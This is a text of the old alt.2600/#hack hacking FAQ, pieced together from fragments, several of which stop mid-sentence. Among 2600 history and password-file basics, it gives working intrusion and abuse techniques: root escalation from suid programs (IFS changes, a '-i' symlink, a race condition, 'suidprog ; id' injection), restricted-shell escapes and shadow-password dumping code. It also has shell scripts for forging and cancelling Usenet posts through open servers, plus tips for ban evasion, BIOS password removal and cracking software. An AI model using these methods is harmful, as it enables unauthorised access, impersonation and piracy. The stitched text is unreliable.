Subject: 1. Introduction and Intent
The Intent of this FAQ is to provide you with a general introduction to the
topics covered in alt.2600 and #hack. No document will make you a hacker. If
you have a question regarding any of the topics covered in the FAQ, please
direct it to alt.2600. Please do not e-mail me with them, as I do not have
time to respond to each request personally. If you find any errors in this
document, please email kubla@thevortex.com about them. If your copy of the
alt.2600/#hack FAQ does not end with the letters EOF on a line by themselves,
you do not have the entire FAQ. FTP sites that will carry this new FAQ will
be available shortly.
I have decided to break this FAQ into 4 sections. This document contains the
Introduction to 2600 Section. I will let the FAQ run like this for a few
weeks, then I will probably create a master document that will act as the
official FAQ and will be posted to news.answers in addition to alt.2600.
This document is currently written in a half-assed implementation of the
Minimal Digest Format (MDF). If you have any problems with the format, or
suggestions for better readability and archivability, please email me at
kubla@thevortex.com

Subject: 3. 2600
01. What is alt.2600?
Alt.2600 is a Usenet newsgroup for discussion of material relating to 2600
Magazine, the Hacker Quarterly. Len@netsys.com created the group on Emmanuel
Goldstein's recommendation. Emmanuel is the editor/publisher of 2600
Magazine.
Occasionally, the complaint comes up that usenet groups with all-number
components to their names (such as the "2600" in alt.2600) are bad for certain
(old) usenet servers - this especially becomes an issue when new groups to the
alt.2600.* hierarchy are created. We would like to point out that this issue
is dated and hardly applies to the real world anymore, as most newsservers now
have no problem with all-number name components, and that complaining often
does little more than exemplify incompetence. In other words, to those of you
who would feel compelled to bring this issue up for the 42^23 time, we would
politely ask that you FUCK OFF. Thank-you.
02. What does "2600" mean?
2600Hz was a tone that was used by early phone phreaks (or phreakers) in the
80's, and some currently. If the tone was sent down the line at the proper
time, one could get away with all sorts of fun stuff.
A note from Emmanuel Goldstein:
"The Atari 2600 has NOTHING to do with blue boxes or telephones or the 2600
hertz tone. The 2600 hertz tone was simply the first step towards exploring
the network. If you were successful at getting a toll call to drop, then
billing would stop at that point but there would be billing for the number
already dialed up until the point of seizure. 800 numbers and long distance
information were both free in the past and records of who called what were
either non-existent or very obscure with regards to these numbers. This,
naturally, made them more popular than numbers that showed up on a bill, even
if it was only for a minute. Today, many 800 numbers go overseas, which
provides a quick and free way into another country's phone system which may be
more open for exploration."
03. Are there on-line versions of 2600 available?
No.
04. I can't find 2600 at any bookstores. What can I do?
Subscribe. Or, let 2600 know via the subscription address that you think 2600
should be in the bookstore. Be sure to include the bookstores name and
address.
05. Why does 2600 cost more to subscribe to than to buy at a newsstand?
A note from Emmanuel Goldstein:
"We've been selling 2600 at the same newsstand price ($4) since 1988 and we
hope to keep it at that price for as long as we can get away with it. At the
same time, $21 is about the right price to cover subscriber costs, including
postage and record keeping, etc. People who subscribe don't have to worry
about finding an issue someplace, they tend to get issues several weeks before
the newsstands get them, and they can take out free ads in the 2600
Marketplace.
"This is not uncommon in the publishing industry. The NY Times, for example,
costs $156.50 at the newsstands, and $234.75 delivered to your door."

02. What are the ethics of hacking?
An excerpt from: Hackers: Heroes of the Computer Revolution
by Steven Levy
Access to computers -- and anything which might teach you
something about the way the world works -- should be unlimited
and total. Always yield to the Hands-On imperative.
All information should be free.
Mistrust Authority. Promote Decentralization.
Hackers should be judged by their hacking, not bogus criteria
such as degrees, age, race, or position.
You can create art and beauty on a computer.
Computers can change your life for the better.
03. Where can I get a copy of the alt.2600/#hack FAQ?
alt.2600. When I release this version officially, it’ll be put up on various
FTP sites, and I’ll include them here then.
------------------------------
Subject: 3. Carding
01. Why do you have such a little carding section just jammed in here?
Because I’m not into carding, and I didn’t know where else to stick this
section. This section is my lowest priority. If anybody else wants to write
this section, go for it. Email me at kubla@thevortex.com.
02. How do I determine if I have a valid credit card number?
Credit cards use the Luhn Check Digit Algorithm. The main purpose of this
algorithm is to catch data entry errors, but it does double duty here as a
weak security tool.
For a card with an even number of digits, double every odd numbered digit and
subtract 9 if the product is greater than 9. Add up all the even digits as
well as the doubled-odd digits, and the result must be a multiple of 10 or
it's not a valid card. If the card has an odd number of digits, perform the
same addition doubling the even numbered digits instead.
03. What is the layout of data on magnetic stripe cards?
A standard card may have any of three tracks, or a combination of these
tracks.
Track 1 was the first track standardized. It was developed by the
International Air Transportation Association (IATA) and is still reserved for
their use. It is 210bpi with room for 79 characters. It includes the primary
account number (up to 18 digits) and the name (up to 26 alphanumeric
characters).
Track 2 was developed by the American Bankers Association (ABA) for on-line
financial transactions. It is 75bpi with room for 40 numeric characters. It
includes the account number (up to 19 digits).
Track 3 is also used for financial transactions. The difference is its
read/write ability. It is 210bpi with room for 107 numeric digits. It
includes an enciphered PIN, country code, currency units, amount authorized,
subsidiary account information and other restrictions.
For more information, read the ANSI/ISO 7811/1-5 standard. This document is
available from the American Bankers Association.

Subject: 3. UNIX
01. How do I access the password file under UNIX?
In standard UNIX the password file is /etc/passwd. On a UNIX system
with either NIS/yp or password shadowing, much of the password data may
be elsewhere. An entry in the password file consists of seven colon
delimited fields:
Username
Encrypted password (And optional password aging data)
User number
Group Number
GECOS Information
Home directory
Shell
] Sample entry from /etc/passwd:
] will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash
Broken down, this passwd file line shows:
Username: will
Encrypted password: 5fg63fhD3d5gh
User number: 9406
Group Number: 12
GECOS Information: Will Spencer
Home directory: /home/fsg/will
Shell: /bin/bash
02. How do I crack UNIX passwords?
Contrary to popular belief, UNIX passwords cannot be decrypted. UNIX
passwords
are encrypted with a one way function. The login program encrypts the text
you enter at the "password:" prompt and compares that encrypted string against
the encrypted form of your password. Password cracking software uses
wordlists. Each word in the wordlist is encrypted and the results are
compared to the encrypted form of the target password. The best cracking
program for UNIX passwords is currently Crack by Alec Muffett. For PC-DOS,
the best package to use is currently CrackerJack. CrackerJack is available
via ftp from clark.net /pub/jcase/.
03. What is password shadowing?
Password shadowing is a security system where the encrypted password field of
/etc/passwd is replaced with a special token and the encrypted password is
stored in a separate file which is not readable by normal system users.
To defeat password shadowing on many (but not all) systems, write a
program that uses successive calls to getpwent() to obtain the
password file. Actually, this hardly works at all anymore, and is just
included for its legacy value.
=======================
#include
main()
{
struct passwd *p;
while(p=getpwent())
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd,
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell);
}
=======================
04. Where can I find the password file if it's shadowed?

Ultrix 4 /etc/auth[.dir|.pag] *
UNICOS /etc/udb *
05. What is NIS/yp?
NIS (Network Information System) in the current name for what was once known
as yp (Yellow Pages). The purpose for NIS is to allow many machines on a
network to share configuration information, including password data. NIS is
not designed to promote system security. If your system uses NIS you will
have a very short /etc/passwd file that includes a line that looks like this:
+::0:0:::
To view the real password file use this command "ypcat passwd"
06. What are those weird characters after the comma in my passwd file?
The characters are password aging data. Password aging forces the user to
change passwords after a System Administrator specified period of time.
Password aging can also force a user to keep a password for a certain number
of weeks before changing it.
] Sample entry from /etc/passwd with password aging installed:
] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash
Note the comma in the encrypted password field. The characters after the
comma
are used by the password aging mechanism.
] Password aging characters from above example:
] M.z8
The four characters are interpreted as follows:
1: Maximum number of weeks a password can be used without changing.
2: Minimum number of weeks a password must be used before changing.
3&4: Last time password was changed, in number of weeks since 1970.
Three special cases should be noted:
If the first and second characters are set to '..' the user will be forced to
change his/her passwd the next time he/she logs in. The passwd program will
then remove the passwd aging characters, and the user will not be subjected to
password aging requirements again.
If the third and fourth characters are set to '..' the user will be forced to
change his/her passwd the next time he/she logs in. Password aging will then
occur as defined by the first and second characters.
If the first character (MAX) is less than the second character (MIN), the user
is not allowed to change his/her password. Only root can change that users
password.
It should also be noted that the su command does not check the password aging
data. An account with an expired password can be su'd to without being forced
to change the password.

07. How do I break out of a restricted shell?
On poorly implemented restricted shells you can break out of the restricted
environment by running a program that features a shell function. A good
example is vi. Run vi and use this command:
:set shell=/bin/sh
then shell using this command:
:shell
If your restricted shell prevents you from using the "cd" command, ftp into
your account and you may be able to cd.
08. How do I gain root from a suid script or program?
1. Change IFS.
If the program calls any other programs using the system() function call, you
may be able to fool it by changing IFS. IFS is the Internal Field Separator
that the shell uses to delimit arguments.
If the program contains a line that looks like this:
system("/bin/date")
and you change IFS to '/' the shell will them interpret the proceeding line
as:
bin date
Now, if you have a program of your own in the path called "bin" the suid
program will run your program instead of /bin/date.
To change IFS, use this command:
IFS='/';export IFS # Bourne Shell
setenv IFS '/' # C Shell
export IFS='/' # Korn Shell
2. link the script to -i
Create a symbolic link named "-i" to the program. Running "-i" will cause the
interpreter shell (/bin/sh) to start up in interactive mode. This only works
on suid shell scripts.
Example:
% ln suid.sh -i
% -i
#
3. Exploit a race condition
Replace a symbolic link to the program with another program while the kernel
is loading /bin/sh.
Example:
nice -19 suidprog ; ln -s evilprog suidroot
4. Send bad input to the program.
Invoke the name of the program and a separate command on the same command
line.
Example:
suidprog ; id
09. How do I erase my presence from the system logs?

10. How to I change to directories with strange characters in them?
These directories are often used by people trying to hide information, most
often warez (commercial software). There are several things you can do to
determine what these strange characters are. One is to use the arguments to
the ls command that cause ls to give you more information:
From the man page for ls:
-F Causes directories to be marked with a trailing ``/'',
executable files to be marked with a trailing ``*'', and
symbolic links to be marked with a trailing ``@'' symbol.
-q Forces printing of non-graphic characters in filenames as the
character ``?''.
-b Forces printing of non-graphic characters in the \ddd
notation, in octal.
Perhaps the most useful tool is to simply do an "ls -al filename" to save the
directory of the remote ftp site as a file on your local machine. Then you
can do a "cat -t -v -e filename" to see exactly what those bizarre little
characters are.
From the man page for cat:
-v Causes non-printing characters (with the exception of tabs,
newlines, and form feeds) to be displayed. Control characters
are displayed as ^X (x), where X is the key pressed with
the key (for example, m is displayed as ^M). The
; character (octal 0177) is printed as ^?. Non-ASCII
characters (with the high bit set) are printed as M -x, where
x is the character specified by the seven low order bits.
-t Causes tabs to be printed as ^I and form feeds as ^L. This
option is ignored if the -v option is not specified.
-e Causes a ``$'' character to be printed at the end of each line
(prior to the new-line). This option is ignored if the -v
option is not set.
If the directory name includes a or a you will need to
enclose the entire directory name in quotes. Example:
cd ".."
In the amazingly unlikely event that you’re trying to access such a directory
on an IBM-PC, you may enter these special characters by holding down the
key and entering the decimal value of the special character on your numeric
keypad. When you release the key, the special character should appear
on your screen. An ASCII chart can be very helpful.
Sometimes people will create directories with some of the standard stty
control characters in them, such as ^Z (suspend) or ^C (intr). To get into
those directories, you will first need to user stty to change the control
character in question to another character.
From the man page for stty:
Control assignments
control-character C
Sets control-character to C, where
control-character is erase, kill, intr (interrupt),
quit, eof, eol, swtch(switch), start, stop or susp.
start and stop are available as possible control
characters for the control-character C assignment.
If C is preceded by a caret (^) (escaped from the
shell), then the value used is the corresponding
control character (for example, ^D is a d;
^? is interpreted as DELETE and ^- is interpreted
as undefined).
Use the stty -a command to see your current stty settings, and to determine
which one is causing you problems.

Subject: 4. VMS
01. How do I access the password file under VMS?
Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However, unlike UNIX,
most users do not have access to read the password file.
02. How do I crack VMS passwords?
Write a program that uses the SYS$GETUAF functions to compare the results of
encrypted words against the encrypted data in SYSUAF.DAT. Two such programs
are known to exist, CHECK_PASSWORD and GUESS_PASSWORD.
03. What can be logged on a VMS system?
Virtually every aspect of the VMS system can be logged for investigation. To
determine the status of the accounting on your system use the command SHOW
ACCOUNTING. System accounting is a facility for recording information about
the use of the machine from a system accounting perspective (resource logging
such as CPU time, printer usage etc.), while system auditing is done with the
aim of logging information for the purpose of security. To enable accounting:
$ SET ACCOUNTING [/ENABLE=(Activity...)]
This enables accounting logging information to the accounting log file
SYS$MANAGER:ACCOUNTING.DAT. This also is used to close the current log file
and open a new one with a higher version number.
The following activities can be logged:
BATCH Termination of a batch job
DETACHED Termination of a detached job
IMAGE Image execution
INTERACTIVE Interactive job termination
LOGIN_FAILURE Login failures
MESSAGE Users messages
NETWORK Network job termination
PRINT Print Jobs
PROCESS Any terminated process
SUBPROCESS Termination of a subprocess
To enable security auditing use:
$ SET AUDIT [/ENABLE=(Activity...)]
The /ALARM qualifier is used to raise an alarm to all terminals approved as
security operators, which means that you need the SECURITY privileges. You
can determine your security auditing configuration using
$ SHOW AUDIT /ALL
The security auditor can be configured to log the following activities:
ACL Access Control List requested events
AUTHORIZATION Modification to the system user
authorization file
SYS$SYSTEM:SYSUAF.DAT
BREAKIN Attempted Break-ins
FILE_ACCESS File or global section access
INSTALL Occurrence of any INSTALL operations
LOGFAILURE Any login failures
LOGIN A login attempt from various sources
LOGOUT Logouts
MOUNT Mount or dismount requests
04. What privileges are available on a VMS system?
Bear in mind that not only users are given priveleges; priveleges may be
installed onto programs. When running a program with high level priveleges,
the user does not get these priveleges; rather, only the process executing the
task.
ACNT Allows you to restrain accounting messages
ALLSPOOL Allows you to allocate spooled devices
ALTPRI Allot Priority. This allows you to set any priority
value
AUDIT Allows software to append to audit records to the system
security audit log file. Therefore permits the logging
of events that appear to come from the operating system
BUGCHK Allows you make bug check error log entries
BYPASS Enables you to disregard protections
CMEXEC/
CMKRNL Change to executive or kernel mode. Allows a process to
execute optional routines with KERNEL and EXECUTIVE
access modes. One must have these privileges to gain
access to the kernel data structures directly.
DETACH This privilege allow you to create detached processes of
arbitrary UICs
DIAGNOSE With this privilege you can diagnose devices
DOWNGRADE Permits a process to manipulate mandatory access
controls
EXQUOTA Allows you to exceed your disk quota
GROUP This privilege grants you permission to affect other
processes in the same rank
GRPNAM Allows you to insert group logical names into the group
logical names table.
GRPPRV Enables you to access system group objects through
system protection field
IMPORT Lets a process manipulate mandatory access controls,
eg, lets a process mount unlabeled tape volumes.
Reserved for enhanced security products like SEVMS.
LOG_IO Allows you to issue logical input output requests
MOUNT May execute the mount function
NETMBX Allows you to create network connections
OPER Allows you to perform operator functions
PFNMAP Allows you to map to specific physical pages
PHY_IO Allows you to perform physical input output requests
PRMCEB Can create permanent common event clusters
PRMGBL Allows you to create permanent global sections
PRMMBX Allows you to create permanent mailboxes
PSWAPM Allows you to change a processes swap mode
READALL Allows you read access to everything
SECURITY Enables you to perform security related functions
SETPRV Enable all privileges
SHARE Allows you to access devices allocated to other users.
This is used to assign system mailboxes.
SHMEM Enables you to modify objects in shared memory
SYSGBL Allows you to create system wide permanent global
sections
SYSLCK Allows you to lock system wide resources
SYSNAM Allows you to insert in system logical names in the
names table.
SYSPRV If a process holds this privilege then it is the same as
a process holding the system user identification code.
TMPMBX Allows you create temporary mailboxes
UPGRADE Lets a process manipulate access controls. Reserved for
enhanced security products like SEVMS
VOLPRO Enables you to override volume protection
WORLD When this is set you can affect other processes in the
world
To determine what privileges your process is running with issue the command:
$ show proc/priv
05. How do I break out of a restrictive account?
VMS startup routines are found in LOGIN.COM in a user’s home directory. In
many, but not all, cases, simply trying Ctrl-C when LOGIN.COM is running will
work to break out of restrictive setups. You can also try keeping LOGIN.COM
from running by logging in with the /NOCOMMAND flag directly after your
username at the USERNAME prompt.
------------------------------
Subject: 5. NT
01. How do I access the password file under NT?
In NT the password file can be found as:
\\WINNT\SYSTEM32\CONFIG\SAM Main password file
\\WINNT\REPAIR Backup password file
Note that the backup file is often left unupdated since installation; it would
therefore have only Administrator and Guest entries. Administrator should be
all you need, provided the password was not changed at some later date.
02. How do I crack NT passwords?
Contrary to popular belief, NT passwords are not located on the server. One
way hashes of the passwords are located there. Windows NT passwords are
derived by converting the users’ passwords to Unicode, and using MD4 to get a
16 byte value.
In order to crack NT passwords, a collection of usernames and their
corresponding one way hashes (there are two, the lanman password and NT
password) need to be extracted from SAM. Jeremy Allison’s PWDUMP can do this,
as can LHI’s L0phtCrack. L0phtcrack can also crack both the NT and lanman
passwords, with a combination dictionary and brute force attack. L0phtCrack
can be obtained from the L0pht ftp site, ftp.l0pht.com.

from.
Enter your message as in this example:

If you’re spoofing mail on a VMS system, be sure to use a lot of gratuitous
<>’s around email addresses; VMS can be rather picky. On systems that have
RFC 931 implemented (sendmail 8 and later), spoofing your "MAIL FROM:" line
will not work. Test by sending yourself fakemail first. For more information
read RFC 822 "Standard for the format of ARPA Internet text messages."
15. How do I fake posts and control messages to UseNet?
1. Save any news article to a file. We'll call it "hak" in this example.
Edit "hak", and remove any header lines of the form
Fom some!random!path!user (note: "From ", not "From: " !!)
Article:
Lines:
Xref:
2. Shorten the Path: header down to its LAST two or three "bangized"
components. This is to make the article look like it was posted from where it
really was posted, and originally hit the net at or near the host you send it
to. Or you can construct a completely new Path: line to reflect your assumed
alias.
3. Make some change to the Message-ID: field, that isn't likely to be
duplicated anywhere. This is usually best done by adding a couple of random
characters to the part before the @, since news posting programs generally use
a fixed-length field to generate these IDs.
4. Change the other headers to say what you like -- From:, Newsgroups:,
Sender:, etc. Replace the original message text with your message. If you
are posting to a moderated group or posting a control message, remember to put
in an Approved: header to bypass the moderation mechanism.
To specifically cancel someone else's article, you need its message-ID. Your
message headers, in addition to what's already there, should also contain the
following with that message-ID in it. This makes it a "control message".
NOTE: control messages require an Approved: header as well, so you should add
one.
Subject: cmsg cancel
Control: cancel
Approved: luser@twits.site.com
Newsgroups are created and destroyed with control messages, too. If you
wanted to create, for instance, comp.misc.microsoft.sucks, your control
headers would look like
Subject: cmsg newgroup comp.misc.microsoft.sucks
Control: newgroup comp.misc.microsoft.sucks
Add on the string "moderated" at the end of these if you want the group to be
"moderated with no moderator" as with alt.2600.moderated. Somewhere in the
body of your message, you should include the following text, changed with the
description of the group you're creating:
For your newsgroups file:
comp.misc.microsoft.sucks We don't do windows
To remove a group, substitute "rmgroup" for "newgroup" in the header lines
above. Keep in mind that most sites run all "rmgroup" requests through a
human news-master, who may or may not decide to honor it. Group creation is
more likely to be automatic than deletion at most installations. Any
newsgroup changes are more likely to take effect if the come from
tale@uunet.uu.net (David C Lawrence), since that name is hardwired into many
of the NNTP control scripts.
5. Save your changed article, check it to make sure it contains NO reference
to yourself or your own site, and send it to your favorite NNTP server that
permits transfers via the IHAVE command, using the following script:
=======================
#! /bin/sh
## Post an article via IHAVE.
## args: filename server
if test "$2" = "" ; then
echo usage: $0 filename server
exit 1
fi
if test ! -f $1 ; then
echo $1: not found
exit 1
fi
# suck msg-id out of headers, keep the brackets
msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \
sed 's/.*-[Ii][Dd]: //'`
echo $msgid
( sleep 5
echo IHAVE $msgid
sleep 5
cat $1
sleep 1
echo "."
sleep 1
echo QUIT ) | telnet $2 119
=======================
If your article doesn't appear in a day or two, try a different server. They
are easy to find. Here's a script that will break a large file full of saved
netnews into a list of hosts to try. Edit the output of this if you want, to
remove obvious peoples' names and other trash.
=======================
#! /bin/sh
FGV='fgrep -i -v'
egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\
/g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp
=======================
Once you have your host list, feed it to the following script.
=======================
#! /bin/sh
while read xx ; do
if test "$xx" = "" ; then continue;
fi
echo === $xx
( echo open $xx 119
sleep 5
echo ihave IamSOk00l@podunk.edu
sleep 4
echo .
echo quit
sleep 1
echo quit
) | telnet
done
=======================
If the above script is called "findem" and you're using csh, you should do
findem < list >& outfile
so that ALL output from telnet is captured. This takes a long time, but when
it finishes, edit "outfile" and look for occurrences of "335". These mark
answers from servers that might be willing to accept an article. This isn't a
completely reliable indication, since some servers respond with acceptance and
later drop articles. Try a given server with a slightly modified repeat of
someone else's message, and see if it eventually appears.
Sometimes the telnets get into an odd state, and freeze, particularly when a
host is refusing NNTP connections. If you manually kill these hung telnet
processes but not the main script, the script will continue on. In other
words, you may have to monitor the finding script a little while it is
running.
You will notice other servers that don't necessarily take an IHAVE, but say
"posting ok". You can probably do regular POSTS through these, but they will
add an "NNTP-Posting-Host: " header containing the machine YOU came from and
are therefore unsuitable for completely anonymous use.
03. What is an anonymous remailer?
04. What are the addresses of some anonymous remailers?
05. How do I post to a moderated newsgroup?
Usenet messages consist of message headers and message bodies. The message
header tells the news software how to process the message. Headers can be
divided into two types, required and optional. Required headers are ones like
"From" and "Newsgroups." Without the required headers, your message will not
be posted properly.
One of the optional headers is the "Approved" header. To post to a moderated
newsgroup, simply add an Approved header line to your message header. The
header line should contain the newsgroup moderators e-mail address. To see
the correct format for your target newsgroup, save a message from the
newsgroup and then look at it using any text editor. An "Approved" header
line should look like this:
Approved: root@gnu.ai.mit.edu
There cannot not be a blank line in the message header. A blank line will
cause any portion of the header after the blank line to be interpreted as part
of the message body. For more information, read RFC 1036: Standard for
Interchange of USENET messages.
06. How do I post to Usenet via e-mail?
Through an e-mail->Usenet gateway. Send an a e-mail message to
@. For example, to post to alt.2600 through
nic.funet.fi, address your mail to alt.2600@nic.funet.fi.
Here are a few e-mail->Usenet gateways:
group.name@news.demon.co.uk
group.name@charm.magnus.acs.ohio-state.edu
group.name@undergrad.math.uwaterloo.ca
group.name@nic.funet.fi

01. How do I hack ChanOp on IRC?
Find a server that is split from the rest of IRC and create your own channel
there using the name of the channel you want ChanOp on. When that server
reconnects to the net, you will have ChanOp on the real channel. If you have
ServerOp on a server, you can cause it to split on purpose.

Note: This FAQ answer was written by someone else, but I do not know who.
If you know who originally wrote this, please e-mail me. I'm not
even sure I'll keep this in; it's just that it has legacy value.
--Begin Quoted Text--
Applying these changes to the source code for your ircII client and
recompiling gives you a new ircII command: /NEWUSER. This new command can be
used as follows:
* /NEWUSER [new_IRCNAME]
* is a new username to use and is required
* [new_IRCNAME] is a new IRCNAME string to use and is optional
* This will disconnect you from your server and reconnect using
* the new information given. You will rejoin all channel you
* are currently on and keep your current nickname.
The effect is basically changing your username/IRCname on the fly. Although
you are disconnected from your server and reconnected, the ircII client is
never exited, thus keeping all your state information and aliases intact.
This is ideal for bots that wish to be REALLY obnoxious in ban evasion. ;)
As this is now a new command in ircII, it can be used in scripts. Be aware
that the reconnect associated with the NEWUSER command takes time, so TIMER
any commands that must immediately follow the NEWUSER. For example... ban
evasion made easy (but beware infinite reconnects when your site is banned):
=======================
on ^474 * {
echo *** Banned from channel $1
if ($N == [AnnMurray]) {
nick $randomstring
join $1
} {
nick AnnMurray
newuser $randomstring
timer 5 join $1
}
}
=======================
Or just to be annoying... a /BE alias that will assume a person's
username and IRCNAME:
=======================
alias be {
^on ^311 * {
^on 311 -*
newuser $2 $5-
}
whois $0
}
=======================
Now... in order to add this command to your ircII client, get the latest
client source (or whatever client source you are using). Cd into the source
directory and edit the file "edit.c". Make the following changes:
Locate the line which reads:
extern void server();
Insert the following line after it:
static void newuser();
This pre-defines a new function "newuser()" that we'll add later.
Now, locate the line which reads:
"NAMES", "NAMES", funny_stuff, 0,
Insert the following line after it:
"NEWUSER", NULL, newuser, 0,
This adds a new command NEWUSER to the list of valid IRCII commands, and tells
it to call our new function newuser() to perform it.
Finally, go the bottom of the file and add the following code as our new
function "newuser()":
=======================
/*
* newuser: the /NEWUSER command. Added by Hendrix
* Parameters as follows:
* /NEWUSER [new_IRCNAME]
* is a new username to use and is required
* [new_IRCNAME] is a new IRCNAME string to use and is optional
* This will disconnect you from your server and reconnect using
* the new information given. You will rejoin all channels you
* are currently on and keep your current nickname.

Subject: 8. Viruses
01. What is a trojan/worm/virus/logic bomb?
This FAQ answer was written by Theora:
--Begin Quoted Text--
Trojan:
Remember the Trojan Horse? Bad guys hid inside it until they could get into
the city to do their evil deed. A trojan computer program is similar. It is
a program which does an unauthorized function, hidden inside an authorized
program. It does something other than what it claims to do, usually something
malicious (although not necessarily!), and it is intended by the author to do
whatever it does. If it's not intentional, its called a 'bug' or, in some
cases, a feature :) Some virus scanning programs detect some trojans. Some
virus scanning programs don't detect any trojans. No virus scanners detect
all trojans.
Virus:
A virus is an independent program which reproduces itself. It may attach to
other programs, it may create copies of itself (as in companion viruses). It
may damage or corrupt data, change data, or degrade the performance of your
system by utilizing resources such as memory or disk space. Some virus
scanners detect some viruses. No virus scanners detect all viruses. No virus
scanner can protect against "any and all viruses, known and unknown, now and
forevermore".
Worm:
Made famous by Robert Morris, Jr., worms are programs which reproduce by
copying themselves over and over, system to system, using up resources and
sometimes slowing down the systems. They are self contained and use the
networks to spread, in much the same way viruses use files to spread. Some
people say the solution to viruses and worms is to just not have any files or
networks. They are probably correct. We would include computers.
Logic Bomb:
Code which will trigger a particular form of 'attack' when a designated
condition is met. For instance, a logic bomb could delete all files on Dec.
5th. Unlike a virus, a logic bomb does not make copies of itself.

A message is called either plaintext or cleartext. The process of disguising
a message in such a way as to hide its substance is called encryption. An
encrypted message is called ciphertext. The process of turning ciphertext
back into plaintext is called decryption. The art and science of keeping
messages secure is called cryptography, and it is practiced by cryptographers.
Cryptanalysts are practitioners of cryptanalysis, the art and science of
breaking ciphertext, i.e. seeing through the disguise. The branch of

02. What is PGP?
This FAQ answer is excerpted from: PGP(tm) User's Guide
Volume I: Essential Topics
by Philip Zimmermann
--Begin Quoted Text--
PGP(tm) uses public-key encryption to protect E-mail and data files.
Communicate securely with people you've never met, with no secure channels
needed for prior exchange of keys. PGP is well featured and fast, with
sophisticated key management, digital signatures, data compression, and good
ergonomic design.
Pretty Good(tm) Privacy (PGP), from Phil's Pretty Good Software, is a high
security cryptographic software application for MS-DOS, UNIX, VAX/VMS, and
other computers. PGP allows people to exchange files or messages with
privacy, authentication, and convenience. Privacy means that only those
intended to receive a message can read it. Authentication means that messages
that appear to be from a particular person can only have originated from that
person. Convenience means that privacy and authentication are provided without
the hassles of managing keys associated with conventional cryptographic
software. No secure channels are needed to exchange keys between users, which
makes PGP much easier to use. This is because PGP is based on a powerful new
technology called "public key" cryptography.
PGP combines the convenience of the Rivest-Shamir-Adleman (RSA) public key
cryptosystem with the speed of conventional cryptography, message digests for
digital signatures, data compression before encryption, good ergonomic design,
and sophisticated key management. And PGP performs the public-key functions
faster than most other software implementations. PGP is public key
cryptography for the masses.

02. What is an Internet Outdial?
An Internet outdial is a modem connected to the Internet than you can use to
dial out. Normal outdials will only call local numbers. A GOD (Global
OutDial) is capable of calling long distance. Outdials are an inexpensive
method of calling long distance BBS's.
03. What are some Internet Outdials?
This FAQ answer is excerpted from CoTNo #5:
Internet Outdial List v3.0
by Cavalier and DisordeR
Introduction
~~~~~~~~~~~~
There are several lists of Internet outdials floating around the net these
days. The following is a compilation of other lists, as well as v2.0 by
DeadKat(CoTNo issue 2, article 4). Unlike other lists where the author just
ripped other people and released it, we have sat down and tested each one of
these. Some of them we have gotten "Connection Refused" or it timed out while
trying to connect...these have been labeled dead.
Working Outdials as of 12/29/94

Alternately you can hit when the boot sequence asks you for the date

RUN ACNT
or RUN $ACNT
(Numbers below 10 {oct} are privileged)
Reboot and wait for the date/time question. Type ^C and at the MCR prompt,
type "abo at." You must include the . dot!
If this works, type "acs lb0:/blks=1000" to get some swap space so the new
step won't wedge.
type " run $acnt" and change the password of any account with a group number
of 7 or less.
You may find that the ^C does not work. Try ^Z and ESC as well. Also try all
3 as terminators to valid and invalid times.
If none of the above work, use the halt switch to halt the system, just after
a invalid date-time. Look for a user mode PSW 1[4-7]xxxx. then deposit 177777
into R6, cross your fingers, write protect the drive and continue the system.
This will hopefully result in indirect blowing up... And hopefully the system

03. How do I defeat a BIOS password?
This depends on what BIOS the machine has. Common BIOS's include AMI, Award,
IBM and Phoenix. Numerous other BIOS's do exist, but these are the most
common. Some BIOSes allow you to require a password be entered before the
system will boot. Some BIOSes allow you to require a password to be entered
before the BIOS setup may be accessed.
Every BIOS must store this password information somewhere. If you are able to
access the machine after it has been booted successfully, you may be able to
view the password. You must know the memory address where the password is
stored, and the format in which the password is stored. Or, you must have a
program that knows these things. The most common BIOS password attack
programs are for Ami BIOS. Some password attack programs will return the AMI
BIOS password in plain text, some will return it in ASCII codes, some will
return it in scan codes. This appears to be dependent not just on the password
attacker, but also on the version of Ami BIOS. To obtain Ami BIOS password
attackers, ftp to oak.oakland.edu /simtel/msdos/sysutil/. By far the best set
of BIOS utilities available is !BIOS from the Eleventh Alliance; contact
ealliance@hotmail.com for more information.
If you cannot access the machine after if has been powered up, it is still
possible to get past the password. The password is stored in CMOS memory that
is maintained while the PC is powered off by a small battery, which is
attached to the motherboard. If you remove this battery, all CMOS information
will be lost. You will need to re-enter the correct CMOS setup information to
use the machine. The machines owner or user will most likely be alarmed when
it is discovered that the BIOS password has been deleted. On some
motherboards, the battery is soldered to the motherboard, making it difficult
to remove. If this is the case, you have another alternative. Somewhere on
the motherboard you should find a jumper that will clear the BIOS password.
If you have the motherboard documentation, you will know where that jumper is.
If not, the jumper may be labeled on the motherboard. If you are not
fortunate enough for either of these to be the case, you may be able to guess
which jumper is the correct jumper. This jumper is usually standing alone
near the battery.

Subject: 12. Software
01. How do I defeat Copy Protection?
Old methods of copy protection created certain sectors that resisted copying
by normal methods. This could be defeated by programs that copy data
perfectly, like CopyIIPC from Central Point Software. Copy protection’s
modern incarnation is often in the form of serial numbers and time-limits,
both of which can be defeated.
Collections of serial numbers can often be found on the web. By far the most
comprehensive collection can be found at http://www.lol.ru.
To defeat time-limits and other measures, you’ll often need a patch, or in
more common modern lexicon, a crack. For popular software, you may be able to
locate a ready made patch. In some cases you will need to apply the patch
using any hex editor; those patches calling themselves "cracks" are often
executables which will automatically augment the software in question if you
run it in the appropriate path. If you cannot find a crack, you will need to
patch the software yourself.
Writing a patch requires a debugger, such as Soft-Ice or Sourcer. It also
requires some knowledge of assembly language. Load the protected program
under the debugger and watch for it to check the protection mechanism. When
it does, change that portion of the code. The code can be changed from JE
(Jump on Equal) or JNE (Jump On Not Equal) to JMP (Jump Unconditionally). Or
the code may simply be replaced with NOP (No Operation) instructions.

03. Is there any hope of a decompiler that would convert an executable
program into C/C++ code?
This FAQ answer is an excerpt from SNIPPETS by Bob Stout.
--Begin Quoted Text--
Don't hold your breath. Think about it... For a decompiler to work properly,
either 1) every compiler would have to generate substantially identical code,
